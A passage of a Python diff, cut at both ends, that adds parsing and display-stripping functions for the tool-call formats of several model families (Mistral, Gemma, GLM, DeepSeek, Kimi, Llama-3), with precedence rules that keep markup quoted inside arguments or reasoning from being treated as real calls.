+    # The id is a short opaque token; stop at whitespace or the next marker.
+    while i < n and text[i] not in " \t\n\r[{":
+        i += 1
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    return i
+
+
+def _strip_mistral_reasoning(content: str) -> str:
+    """Drop a leading Magistral ``[THINK]...[/THINK]`` so a ``[TOOL_CALLS]`` inside
+    reasoning is not taken as a real call; an unclosed ``[THINK]`` drops from it on."""
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if not content.startswith(_MISTRAL_THINK_OPEN, i):
+        return content
+    close = content.find(_MISTRAL_THINK_CLOSE, i + len(_MISTRAL_THINK_OPEN))
+    if close == -1:
+        return content[:i]
+    return content[:i] + content[close + len(_MISTRAL_THINK_CLOSE) :]
+
+
+def _strip_mistral_closed_calls(text: str) -> str:
+    """Strip cleanly-closed ``[TOOL_CALLS]`` blocks (array, ``name{json}``,
+    ``name[ARGS]{json}``) via balanced scanning -- a non-greedy ``\\{.*?\\}`` would
+    truncate at the first ``}`` and lose nested JSON. Unclosed runs are left for
+    ``final=True`` cleanup."""
+    n = len(text)
+    out = []
+    cursor = 0
+    while cursor < n:
+        idx = text.find(_MISTRAL_TRIGGER, cursor)
+        if idx == -1:
+            out.append(text[cursor:])
+            break
+        out.append(text[cursor:idx])
+        body_start = idx + len(_MISTRAL_TRIGGER)
+        i = body_start
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        # Array shape: ``[TOOL_CALLS] [...]``.
+        if i < n and text[i] == "[":
+            end = _balanced_bracket_end(text, i)
+            if end is None:
+                # Truncated; let caller buffer / final-strip.
+                out.append(text[idx:])
+                break
+            cursor = end + 1
+            if text.startswith("</s>", cursor):
+                cursor += len("</s>")
+            continue
+        # Single-object shape ``[TOOL_CALLS] { json }`` (no name/array): the parser
+        # accepts it, so the display strip must remove it too (else it leaks).
+        if i < n and text[i] == "{":
+            end = _balanced_brace_end(text, i)
+            if end is None:
+                out.append(text[idx:])
+                break
+            cursor = end + 1
+            if text.startswith("</s>", cursor):
+                cursor += len("</s>")
+            continue
+        # Named shape: ``[TOOL_CALLS] name [ARGS]? { json }``.
+        name_match = _MISTRAL_V11_NAME_RE.match(text, i)
+        if not name_match:
+            out.append(text[idx:body_start])
+            cursor = body_start
+            continue
+        i = name_match.end()
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        i = _skip_mistral_call_id(text, i)
+        if text.startswith(_MISTRAL_ARGS_MARKER, i):
+            i += len(_MISTRAL_ARGS_MARKER)
+            while i < n and text[i] in " \t\n\r":
+                i += 1
+        if i >= n or text[i] != "{":
+            out.append(text[idx:i])
+            cursor = i
+            continue
+        end = _balanced_brace_end(text, i)
+        if end is None:
+            out.append(text[idx:])
+            break
+        cursor = end + 1
+        # Consume the optional EOS marker too, mirroring the array shape, so a
+        # ``[TOOL_CALLS]name{json}</s>`` tail doesn't leave ``</s>`` as content.
+        if text.startswith("</s>", cursor):
+            cursor += len("</s>")
+    return "".join(out)
+
+
+def _strip_gemma_wrapperless_calls(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    """Strip closed wrapper-less Gemma ``call:NAME{...}`` calls with balanced brace
+    scanning (nested arguments are removed whole). ``enabled_tool_names`` gates the
+    strip like the parser gate: a disabled/example name stays visible; ``None``
+    strips every closed call."""
+    if _whole_content_is_json_value(text):
+        return text
+    n = len(text)
+    out = []
+    # Mirror the parse scan: a leading JSON answer's span is data, kept visible.
+    cursor = _leading_json_value_end(text) or 0
+    if cursor:
+        out.append(text[:cursor])
+    while cursor < n:
+        m = _GEMMA_BARE_TC_RE.search(text, cursor)
+        if not m:
+            out.append(text[cursor:])
+            break
+        disabled = enabled_tool_names is not None and m.group(1) not in enabled_tool_names
+        brace = m.end() - 1  # _GEMMA_BARE_TC_RE consumes through the opening ``{``
+        # Same boundary scanner as the parser: strip exactly what it consumed.
+        end = _gemma_body_brace_end(text, brace)
+        closed = end is not None
+        next_index = (end + 1) if closed else len(text)
+        if not closed:
+            # Unclosed call: drop an enabled call to EOS; keep a disabled/example name as prose.
+            out.append(text[cursor:] if disabled else text[cursor : m.start()])
+            break
+        if disabled:
+            # Disabled/example name is prose: keep it whole.
+            out.append(text[cursor:next_index])
+        else:
+            out.append(text[cursor : m.start()])
+        cursor = next_index  # already past the matching ``}``
+    return "".join(out)
+
+
+_FUNC_CLOSE_TAG_RE = re.compile(r"</function>")
+
+
+def _strip_function_xml_calls(text: str, *, final: bool) -> str:
+    """Strip ``<function=...>`` calls by mirroring the parser: an opener inside an open ``<parameter>`` is data and each call closes at its first ``</function>`` that is not parameter data; ``final`` drops a trailing unclosed call."""
+    starts = [
+        m for m in _TC_FUNC_START_RE.finditer(text) if not _inside_open_parameter(text, m.start())
+    ]
+    if not starts:
+        return text
+    out: list[str] = []
+    pos = 0
+    for idx, m in enumerate(starts):
+        if m.start() < pos:
+            continue  # opener already inside a previously consumed call span
+        out.append(text[pos : m.start()])
+        next_start = starts[idx + 1].start() if idx + 1 < len(starts) else len(text)
+        close = None
+        for cm in _FUNC_CLOSE_TAG_RE.finditer(text, m.end(), next_start):
+            if not _inside_open_parameter(text, cm.start()):
+                close = cm  # first close that is not parameter data = the real close
+                break
+        if close is not None:
+            pos = close.end()
+        elif final:
+            pos = len(text)  # trailing unclosed call -- drop to EOF
+        else:
+            out.append(text[m.start() :])  # keep the unclosed call buffered mid-stream
+            pos = len(text)
+            break
+    out.append(text[pos:])
+    return "".join(out)
+
+
+def _glm_value_close(
+    text: str,
+    vs: int,
+    *,
+    strict: bool = False,
+) -> int:
+    """Index of the ``</arg_value>`` that really ends the GLM value at ``vs``: the
+    first one whose next non-space token is ``<arg_key>``, ``</tool_call>`` or
+    end-of-text AND that sits at balanced quote state (an embedded literal pair
+    like ``print("</arg_value></tool_call>")`` lives inside a still-open string).
+    Quote openers are contextual (single quote only after punctuation, so
+    apostrophes are prose; double quote also at word start), mirroring the Gemma
+    scanners. If no candidate balances, the first token-valid one wins -- except
+    in ``strict`` mode (Auto-Heal off), which refuses the in-quote fallback rather
+    than execute truncated arguments. Returns -1 if unclosed."""
+    n = len(text)
+    search = vs
+    first_candidate = -1
+    quote = ""
+    prev = ":"
+    prev_raw = ":"
+    qpos = vs  # quote-state cursor; advanced incrementally to each candidate
+    while True:
+        ve = text.find(_GLM_ARG_VAL_CLOSE, search)
+        if ve < 0:
+            return -1 if strict else first_candidate
+        j = ve + len(_GLM_ARG_VAL_CLOSE)
+        while j < n and text[j] in " \t\r\n":
+            j += 1
+        if j >= n or text.startswith(_GLM_ARG_KEY_OPEN, j) or text.startswith(_GLM_TC_CLOSE, j):
+            while qpos < ve:
+                ch = text[qpos]
+                if quote:
+                    if ch == "\\" and qpos + 1 < ve:
+                        qpos += 2
+                        continue
+                    if ch == quote:
+                        quote = ""
+                elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+                    quote = ch
+                if not ch.isspace():
+                    prev = ch
+                prev_raw = ch
+                qpos += 1
+            if not quote:
+                return ve
+            if first_candidate < 0:
+                first_candidate = ve
+        search = ve + len(_GLM_ARG_VAL_CLOSE)
+
+
+def _strip_glm_calls(text: str, *, final: bool) -> str:
+    """Strip GLM 4.x calls by scanning to each call's REAL ``</tool_call>`` (the one
+    after the last consumed ``<arg_value>``, mirroring ``_parse_glm_tool_calls``), so
+    a literal ``</tool_call>`` inside a value is data. Qwen ``<tool_call>{json}`` has
+    no NAME token and is left to the regex arms. ``final`` drops a truncated call to
+    EOS; otherwise it stays buffered."""
+    out: list[str] = []
+    cursor = 0
+    n = len(text)
+    while True:
+        m = _GLM_TC_OPEN_RE.search(text, cursor)
+        if not m:
+            break
+        apos = m.end()
+        close = -1
+        while True:
+            ks = text.find(_GLM_ARG_KEY_OPEN, apos)
+            tc = text.find(_GLM_TC_CLOSE, apos)
+            if tc >= 0 and (ks < 0 or tc < ks):
+                close = tc
+                break
+            if ks < 0:
+                break  # no close and no more keys -- truncated body
+            ke = text.find(_GLM_ARG_KEY_CLOSE, ks + len(_GLM_ARG_KEY_OPEN))
+            if ke < 0:
+                break
+            vstart = ke + len(_GLM_ARG_KEY_CLOSE)
+            while vstart < n and text[vstart] in " \t\r\n":
+                vstart += 1
+            if not text.startswith(_GLM_ARG_VAL_OPEN, vstart):
+                apos = ke + len(_GLM_ARG_KEY_CLOSE)
+                continue
+            vs = vstart + len(_GLM_ARG_VAL_OPEN)
+            ve = _glm_value_close(text, vs)
+            if ve < 0:
+                break  # unclosed <arg_value> -- truncated
+            apos = ve + len(_GLM_ARG_VAL_CLOSE)
+        if close >= 0:
+            out.append(text[cursor : m.start()])
+            cursor = close + len(_GLM_TC_CLOSE)
+            continue
+        # Truncated GLM call (no real close yet).
+        if final:
+            out.append(text[cursor : m.start()])
+            cursor = n
+        # Non-final: leave the unclosed call (and any tail) buffered as-is.
+        break
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def strip_tool_markup(
+    text: str,
+    *,
+    final: bool = False,
+    enabled_tool_names: Optional[set] = None,
+) -> str:
+    """Strip tool-call markup. ``final=False`` keeps in-progress markup buffered;
+    ``final=True`` also drops trailing unclosed runs and trims.
+
+    ``enabled_tool_names`` gates the name-conditioned forms so a disabled/example name in
+    prose is kept (mirrors the parser gate): the bare reasoning-rehearsal ``name[ARGS]{...}``
+    and the markerless Gemma ``call:NAME{...}`` strip. ``None`` strips every closed call.
+    """
+    if final:
+        # Drop a leading Magistral ``[THINK]...[/THINK]`` at end-of-turn; its bracket
+        # form is not the ``<think>`` the reasoning channel renders.
+        text = _strip_mistral_reasoning(text)
+
+    def _strip_segment(segment: str, is_last: bool) -> str:
+        seg_final = final and is_last
+        seg = _strip_mistral_closed_calls(segment)
+        # Bare reasoning-rehearsal ``name[ARGS]{json}`` and the Mistral name form promote through
+        # the shared balanced scan, so strip them the same way (any nesting depth removed whole).
+        # The rehearsal arm is name-gated: an inactive ``foo[ARGS]{..}`` is prose and is kept.
+        seg = _tool_healing._strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if seg_final:
+            # Markerless Gemma ``call:NAME{...}`` (name-gated, mirrors the parse gate); end-of-turn only.
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        # Scan-strip the function-XML form (parser-accurate: a literal ``<function=...>`` in a
+        # value is data, not a call); the regex arms below cover the other formats.
+        seg = _strip_function_xml_calls(seg, final = seg_final)
+        # GLM 4.x: scan to the call's real </tool_call> so a literal one inside a value is data,
+        # not a leak. Qwen <tool_call>{json} is left to the regex arms.
+        seg = _strip_glm_calls(seg, final = seg_final)
+        pats = _TOOL_ALL_PATS if seg_final else _TOOL_CLOSED_PATS
+        for pat in pats:
+            seg = pat.sub("", seg)
+        if seg_final:
+            # Drop a trailing partial bare rehearsal (``name[ARGS]`` with a truncated or absent
+            # body) the balanced scan cannot close; gated so prose ``foo[ARGS] ...`` survives.
+            seg = _tool_healing.apply_tool_strip_patterns(
+                seg,
+                [_tool_healing._REHEARSAL_TAIL_STRIP_RE],
+                enabled_tool_names = enabled_tool_names,
+            )
+        return seg
+
+    # ``<think>`` / ``[THINK]`` reasoning is preserved verbatim (a rehearsed call inside it is
+    # not executed, so it must not be stripped from display either); a literal think marker
+    # inside a real call's arguments is that call's data and is stripped with the call.
+    result = _tool_healing.strip_outside_think(text, _strip_segment)
+    return result.strip() if final else result
+
+
 def has_tool_signal(text: str) -> bool:
-    """Return True if ``text`` contains any tool-call XML signal."""
     return any(s in text for s in TOOL_XML_SIGNALS)
+
+
+# A Qwen/Hermes ``<tool_call>``/``<function=...>`` envelope whose arguments carry literal
+# DeepSeek/Kimi markers must parse as the OUTER call. Detect it opening before the first
+# marker so the pre-pass skips it.
+_EMBEDDED_MARKER_RE = re.compile(
+    _DEEPSEEK_OPEN_RE_SRC + "|" + re.escape(_KIMI_SECTION_BEGIN) + "|" + re.escape(_KIMI_CALL_BEGIN)
+)
+# Covers ``<function=NAME>`` and the attribute form. ``<|python_tag|>`` is Llama-3's
+# envelope too (built-in ``NAME.call(`` and custom ``{json}``), so a quoted DeepSeek/Kimi
+# example is data; the call-shaped lookahead mirrors the ``_TOOL_ALL_PATS`` python_tag arm
+# so a bare prose ``<|python_tag|>`` mention isn't treated as one.
+_OUTER_ENVELOPE_OPEN_RE = re.compile(
+    r'<tool_call>|<function(?:=|\s+name=")|<\|tool_call>'
+    r"|<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\())"
+)
+# CLOSED outer envelopes, each spanning to its REAL final close so a literal
+# ``</tool_call>``/``</function>`` inside a value is data. Wrapped Gemma counts too.
+_OUTER_ENVELOPE_CLOSED_PATS = (
+    re.compile(r"<tool_call>(?:(?!<tool_call>).)*</tool_call>", re.DOTALL),
+    _TOOL_CLOSED_PATS[1],
+    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+)
+
+
+def _marker_inside_leading_envelope(content: str, enabled_tool_names: Optional[set] = None) -> bool:
+    first_marker = _EMBEDDED_MARKER_RE.search(content)
+    if first_marker is None:
+        return False
+    # A leading bare-JSON or Mistral [TOOL_CALLS] call is an outer envelope too:
+    # a DS/Kimi marker in its argument strings is data.
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if content.startswith("{", i):
+        end = _balanced_brace_end(content, i)
+        if end is not None and i < first_marker.start():
+            name = _top_level_bare_json_name(content[i : end + 1])
+            if name is not None and (enabled_tool_names is None or name in enabled_tool_names):
+                # The closed leading call owns the turn: a marker inside it is argument
+                # data, one after it a trailing example (same rule as the XML envelopes below).
+                return True
+            if name is not None and first_marker.start() <= end:
+                # A disabled-name leading object is prose (can't own the turn), but a marker
+                # inside its own strings stays data. A marker AFTER it falls through to the pre-pass.
+                return True
+    elif content.startswith(_MISTRAL_TRIGGER, i):
+        end = _mistral_region_end(content, i)
+        if end is not None and i < first_marker.start():
+            return True
+    # A closed outer call PRECEDING the first marker owns the turn; the pre-pass must
+    # not steal a trailing example or argument data.
+    for _pat in _OUTER_ENVELOPE_CLOSED_PATS:
+        m = _pat.search(content)
+        if m is not None and m.start() < first_marker.start():
+            return True
+    residue = content
+    for _pat in _OUTER_ENVELOPE_CLOSED_PATS:
+        residue = _pat.sub("", residue)
+    marker = _EMBEDDED_MARKER_RE.search(residue)
+    if marker is None:
+        return True
+    # A marker still stands; any opener left in the residue is UNCLOSED. One before the
+    # marker is a truncated outer call holding the marker as data: skip the pre-pass.
+    opener = _OUTER_ENVELOPE_OPEN_RE.search(residue)
+    return opener is not None and opener.start() < marker.start()
+
+
+def _mistral_region_end(text: str, idx: int) -> int | None:
+    """Exclusive end of the balanced ``[TOOL_CALLS]`` call starting at ``idx``,
+    or ``None`` when truncated/unrecognised (same shapes as the strip scan:
+    array, single-object, and named ``name [CALL_ID]? [ARGS]? {json}``)."""
+    n = len(text)
+    i = idx + len(_MISTRAL_TRIGGER)
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    if i < n and text[i] == "[":
+        end = _balanced_bracket_end(text, i)
+        return None if end is None else end + 1
+    if i < n and text[i] == "{":
+        end = _balanced_brace_end(text, i)
+        return None if end is None else end + 1
+    name_match = _MISTRAL_V11_NAME_RE.match(text, i)
+    if not name_match:
+        return None
+    i = name_match.end()
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    i = _skip_mistral_call_id(text, i)
+    if text.startswith(_MISTRAL_ARGS_MARKER, i):
+        i += len(_MISTRAL_ARGS_MARKER)
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+    if i >= n or text[i] != "{":
+        return None
+    end = _balanced_brace_end(text, i)
+    return None if end is None else end + 1
+
+
+def _xml_signal_inside_leading_mistral(content: str) -> bool:
+    """True when a parseable Mistral call is the first tool emission in document order: it owns the turn, so later XML (quoted in its arguments or in trailing prose) is not promoted over it. A signal BEFORE the trigger keeps normal order."""
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig < 0:
+        return False
+    first_xml = _first_foreign_tool_signal(content)
+    if first_xml is not None and first_xml < trig:
+        return False
+    # Only plain prose precedes the trigger: a visible preface must not hand
+    # the turn to a later XML literal (preamble-tolerant, like the
+    # wrapperless-Gemma guard). Prose that merely mentions the marker has no
+    # parseable region and keeps the normal order.
+    return _mistral_region_end(content, trig) is not None
+
+
+def _parse_bare_rehearsals(
+    content: str,
+    *,
+    id_offset: int = 0,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Promote bare reasoning-rehearsal ``name[ARGS]{json}`` calls that a leading [TOOL_CALLS]
+    owns-the-turn parse would miss. Only the ``rehearsal`` kind is taken (a Mistral
+    ``[TOOL_CALLS]name[ARGS]{..}`` yields ``name`` and is not double-counted), and a rehearsal
+    inside a ``<think>`` / ``[THINK]`` block is reasoning, so it is skipped."""
+    out: list[dict] = []
+    think_spans = _tool_healing._think_spans_outside_tool_markup(content)
+    for start, end, kind, m in _tool_healing._iter_bracket_spans(
+        content, enabled_tool_names = enabled_tool_names
+    ):
+        if kind != "rehearsal":
+            continue
+        if any(s <= start < e for s, e in think_spans):
+            continue
+        try:
+            payload = json.loads(content[m.end() : end])
+        except (json.JSONDecodeError, ValueError):
+            continue
+        if not isinstance(payload, dict):
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": m.group(1), "arguments": json.dumps(payload)},
+            }
+        )
+    return out
+
+
+_ATTR_FUNC_OPEN_RE = re.compile(r'<function\s+name="')
+
+
+def _first_foreign_tool_signal(content: str) -> int | None:
+    """Offset of the first tool signal a non-envelope parser would fire on
+    (XML forms plus ``<|python_tag|>``, which also runs before the Mistral parser)."""
+    first = None
+    for sig in ("<tool_call>", "<|tool_call>", "<function=", "<|python_tag|>"):
+        p = content.find(sig)
+        if p >= 0 and (first is None or p < first):
+            first = p
+    attr = _ATTR_FUNC_OPEN_RE.search(content)
+    if attr is not None and (first is None or attr.start() < first):
+        first = attr.start()
+    # DeepSeek/Kimi markers are foreign to a JSON envelope too: a marker inside a leading
+    # object routes through the same guard (and, if disabled, the drop-and-parse-the-tail
+    # recursion, so a real call after the object is still reached).
+    marker = _EMBEDDED_MARKER_RE.search(content)
+    if marker is not None and (first is None or marker.start() < first):
+        first = marker.start()
+    return first
+
+
+def _xml_signal_inside_leading_bare_json(content: str) -> bool:
+    """True when the first foreign tool signal is a quoted literal inside a
+    LEADING bare-JSON call object or JSON answer -- data, not a real call
+    (sibling of ``_xml_signal_inside_leading_mistral``)."""
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if i >= n or content[i] not in "{[":
+        return False
+    if content[i] == "[":
+        # A leading array is only ever a structured answer; its literals are data.
+        end = _balanced_bracket_end(content, i)
+        if end is None:
+            return False
+        try:
+            json.loads(content[i : end + 1])
+        except ValueError:
+            return False
+        first_xml = _first_foreign_tool_signal(content)
+        trig = content.find(_MISTRAL_TRIGGER)
+        if trig >= 0 and (first_xml is None or trig < first_xml):
+            first_xml = trig
+        return first_xml is not None and i < first_xml < end
+    end = _balanced_brace_end(content, i)
+    if end is None:
+        return False
+    if _top_level_bare_json_name(content[i : end + 1]) is None:
+        # A NAMELESS object that parses as real JSON is a structured answer / envelope too:
+        # quoted markup is data, and the decline path drops it and parses the tail.
+        # Non-JSON braced prose keeps the old behaviour.
+        try:
+            json.loads(content[i : end + 1])
+        except ValueError:
+            return False
+    first_xml = _first_foreign_tool_signal(content)
+    # The Mistral trigger is foreign to a JSON envelope too (its parser runs first).
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first_xml is None or trig < first_xml):
+        first_xml = trig
+    # Inside the balanced body the signal is quoted data; after the closed object the
+    # leading call still owns the turn (mirrors the leading-Mistral rule).
+    return first_xml is not None and i < first_xml
+
+
+def _signal_inside_leading_wrapperless_gemma(
+    content: str, enabled_tool_names: Optional[set]
+) -> bool:
+    """True when the first foreign tool signal is a quoted literal inside (or
+    after) a LEADING enabled wrapper-less Gemma call (sibling of the
+    Mistral/bare-JSON leading guards). Markerless form, so gated on an enabled
+    name (``None`` keeps the name-agnostic behaviour)."""
+    first = _first_foreign_tool_signal(content)
+    # The Mistral trigger is foreign to a Gemma call too (its parser runs first).
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first is None or trig < first):
+        first = trig
+    if first is None:
+        return False
+    # A preamble before ``call:NAME{...}`` is normal; what matters is an ENABLED balanced
+    # call beginning before the first foreign signal.
+    cursor = 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None or m.start() > first:
+            return False
+        if enabled_tool_names is not None and m.group(1) not in enabled_tool_names:
+            cursor = m.end()
+            continue
+        end = _gemma_body_brace_end(content, m.end() - 1)
+        if end is None:
+            return False
+        if m.end() - 1 < first <= end:
+            return True
+        # An enabled call that CLOSES before the signal still owns the turn (inside-or-after
+        # rule, as for closed bare-JSON/Mistral envelopes), gated on an enabled name.
+        return enabled_tool_names is not None and end < first
+
+
+def _disabled_gemma_call_end_containing_signal(
+    content: str, enabled_tool_names: Optional[set]
+) -> int | None:
+    """End offset (exclusive) of the earliest DISABLED wrapper-less Gemma call
+    whose balanced body contains the first foreign signal, else None. A disabled
+    name is prose, so the quoted literal is data: the caller drops the span and
+    recurses on the tail. An ENABLED call defers to the enabled-call guard."""
+    if enabled_tool_names is None:
+        return None
+    first = _first_foreign_tool_signal(content)
+    # Mirror the enabled-call guard: the Mistral trigger is foreign here too.
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first is None or trig < first):
+        first = trig
+    if first is None:
+        return None
+    cursor = 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None or m.start() > first:
+            return None
+        if m.group(1) in enabled_tool_names:
+            return None
+        end = _gemma_body_brace_end(content, m.end() - 1)
+        if end is None:
+            cursor = m.end()
+            continue
+        if m.end() - 1 < first <= end:
+            return end + 1
+        cursor = end + 1
+
+
+def parse_tool_calls_from_text(
+    content: str,
+    *,
+    id_offset: int = 0,
+    allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Return OpenAI-format tool calls, first-match wins so calls are never double-counted.
+
+    ``allow_incomplete=True`` (default) heals truncated calls (missing close tag /
+    unclosed parameter); ``False`` accepts only well-formed closed calls (trailing
+    prose tolerated), matching llama-server's strict path when Auto-Heal is off.
+
+    ``enabled_tool_names`` gates only the markerless Llama-3.2 bare-JSON form (the
+    marker-based forms carry an explicit signal, so a disabled-tool name there is a
+    real call attempt). ``None`` keeps the name-agnostic behaviour."""
+    # Drop Magistral [THINK]...[/THINK] BEFORE dispatch: a rehearsed call inside it must
+    # never be promoted, and the parse path must agree with the display strip.
+    content = _strip_mistral_reasoning(content)
+
+    # A leading bare-JSON value is decided FIRST: a string argument quoting tool markup
+    # (XML or a Mistral trigger) must stay data, so the bare-JSON parser takes the outer
+    # call before any other pass. Precedes the Mistral guard, whose preamble tolerance
+    # would otherwise claim a trigger quoted inside the leading object.
+    if _xml_signal_inside_leading_bare_json(content):
+        calls = _parse_llama3_bare_json(
+            content, id_offset = id_offset, enabled_tool_names = enabled_tool_names
+        )
+        if calls:
+            return calls
+        # Disabled/example name: the leading object is content. Drop it and parse the tail.
+        i = 0
+        while i < len(content) and content[i] in " \t\n\r":
+            i += 1
+        # The guard guarantees a balanced leading value (object or array).
+        end = (_balanced_brace_end if content[i] == "{" else _balanced_bracket_end)(content, i)
+        return parse_tool_calls_from_text(
+            content[end + 1 :],
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+
+    # A leading enabled wrapper-less Gemma call is decided BEFORE the Mistral guard: its
+    # body reads as prose to the preamble tolerance below, so a quoted [TOOL_CALLS] would
+    # otherwise steal the turn.
+    if _signal_inside_leading_wrapperless_gemma(content, enabled_tool_names):
+        calls = _parse_gemma_tool_calls(
+            content,
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+        if calls:
+            return calls
+
+    # A DISABLED wrapper-less Gemma call is prose: drop the span and parse the tail BEFORE
+    # the Mistral guard, whose preamble tolerance would otherwise parse a quoted trigger.
+    _prose_end = _disabled_gemma_call_end_containing_signal(content, enabled_tool_names)
+    if _prose_end is not None:
+        return parse_tool_calls_from_text(
+            content[_prose_end:],
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+
+    # A [TOOL_CALLS] call that is the first tool emission owns the turn: XML quoted in its
+    # arguments or trailing prose is not promoted over it, nor does a prose preface forfeit it.
+    if _xml_signal_inside_leading_mistral(content):
+        calls = _parse_mistral_tool_calls(
+            content, id_offset = id_offset, allow_incomplete = allow_incomplete
+        )
+        if calls:
+            # A bare rehearsal ``name[ARGS]{..}`` after the Mistral call is a peer tool call,
+            # not foreign XML the owns-the-turn guard protects against: promote it too so a
+            # Mistral call and a rehearsal in one message both parse.
+            calls.extend(
+                _parse_bare_rehearsals(
+                    content,
+                    id_offset = id_offset + len(calls),
+                    enabled_tool_names = enabled_tool_names,
+                )
+            )
+            return calls
+
+    # DeepSeek/Kimi markers are unique, so try them first -- unless an outer envelope
+    # opens before the first marker (then the marker is argument data).
+    if not _marker_inside_leading_envelope(content, enabled_tool_names):
+        # Dispatch by earliest opener so a quoted DS example inside a Kimi call (or vice
+        # versa) can't hijack the turn via fixed parser order.
+        _ds = _DEEPSEEK_BEGIN_RE.search(content)
+        _ds_pos = _ds.start() if _ds else len(content)
+        _km_section = content.find(_KIMI_SECTION_BEGIN)
+        _km_bare = content.find(_KIMI_CALL_BEGIN)
+        _km_pos = min(p for p in (_km_section, _km_bare, len(content)) if p >= 0)
+        pre_pass = [
+            (_ds_pos, _parse_deepseek_tool_calls),
+            (_km_pos, _parse_kimi_tool_calls),
+        ]
+        pre_pass.sort(key = lambda pair: pair[0])
+        for _pos, parser in pre_pass:
+            calls = parser(content, id_offset = id_offset, allow_incomplete = allow_incomplete)
+            if calls:
+                return calls
+
+    # A leading MiniCPM/MiniMax attribute-form call owns the turn: tool_healing doesn't know
+    # the <function name="..."> wrapper, so a <tool_call> quoted in its parameter would beat
+    # the outer call. Any earlier signal keeps normal order.
+    attr = _ATTR_FUNC_OPEN_RE.search(content)
+    if attr is not None:
+        first_other = None
+        for sig in (
+            "<tool_call>",
+            "<|tool_call>",
+            "<function=",
+            "<|python_tag|>",
+            _MISTRAL_TRIGGER,
+        ):
+            p = content.find(sig)
+            if p >= 0 and (first_other is None or p < first_other):
+                first_other = p
+        if first_other is None or attr.start() < first_other:
+            calls = _parse_function_xml(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+            if calls:
+                return calls
+
+    # A leading Llama-3 ``<|python_tag|>`` call owns the turn like the others: markup quoted
+    # in a ``.call(...)`` argument is not promoted. tool_healing does not know the tag, so
+    # gate it here. A foreign signal before the tag keeps normal order.
+    py_tag = content.find(_LLAMA3_PYTHON_TAG)
+    if py_tag >= 0:
+        first_other = None
+        for sig in ("<tool_call>", "<|tool_call>", "<function=", _MISTRAL_TRIGGER):
+            p = content.find(sig)
+            if p >= 0 and (first_other is None or p < first_other):
+                first_other = p
+        attr = _ATTR_FUNC_OPEN_RE.search(content)
+        if attr is not None and (first_other is None or attr.start() < first_other):
+            first_other = attr.start()
+        if first_other is None or py_tag < first_other:
+            calls = _parse_llama3_python_tag(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+            if calls:
+                return calls
+
+    # Qwen/Hermes, Qwen3.5 XML, Gemma 4, plus Mistral [TOOL_CALLS] / bare rehearsal
+    # ``name[ARGS]{json}`` use the shared tool_healing parser (strict/Auto-Heal contract +
+    # nested-marker, trailing-prose, and ``<|"|>`` quoted-string handling the GGUF path
+    # relies on). ``enabled_tool_names`` gates the ambiguous bare-rehearsal form so an
+    # inactive ``foo[ARGS]{..}`` stays prose.
+    calls = _tool_healing.parse_tool_calls_from_text(
+        content,
+        id_offset = id_offset,
+        allow_incomplete = allow_incomplete,
+        enabled_tool_names = enabled_tool_names,
+    )
+    if calls:
+        return calls
+
+    # Formats tool_healing does not cover; these run only after it finds
+    # nothing, so a strict-rejected call is never re-healed here. Blank any
+    # JSON/Gemma marker coverage first: markup inside a marker's span (even one
+    # that failed to parse) is that call's data, not a sibling, so a nested
+    # ``<function=...>`` / ``<|python_tag|>`` / ``[TOOL_CALLS]`` must not be promoted.
+    fallback_content = content
+    coverage = _tool_healing.marker_coverage(content)
+    if coverage:
+        chars = list(content)
+        for cov_start, cov_end in coverage:
+            for i in range(cov_start, min(cov_end, len(chars))):
+                chars[i] = " "
+        fallback_content = "".join(chars)
+    for parser in (
+        _parse_glm_tool_calls,  # GLM 4.x <tool_call>name
+        _parse_function_xml,  # <function name="..."> attribute form
+        _parse_llama3_python_tag,  # Llama-3 <|python_tag|>
+        _parse_mistral_tool_calls,  # Mistral [TOOL_CALLS]
+    ):
+        calls = parser(fallback_content, id_offset = id_offset, allow_incomplete = allow_incomplete)
+        if calls:
+            return calls
+
+    # Llama-3.2 bare ``{"name":..., "parameters":...}`` (strict shape). Only a LEADING call
+    # object matches and owns the turn, so an enabled ``call:NAME{...}`` in its arguments
+    # stays data (Gemma never starts ``{``).
+    calls = _parse_llama3_bare_json(
+        content, id_offset = id_offset, enabled_tool_names = enabled_tool_names
+    )
+    if calls:
+        return calls
+
+    # Gemma wrapper-less ``call:NAME{...}``: markerless, so the same enabled-name gate applies.
+    return _parse_gemma_tool_calls(
+        content,
+        id_offset = id_offset,
+        allow_incomplete = allow_incomplete,
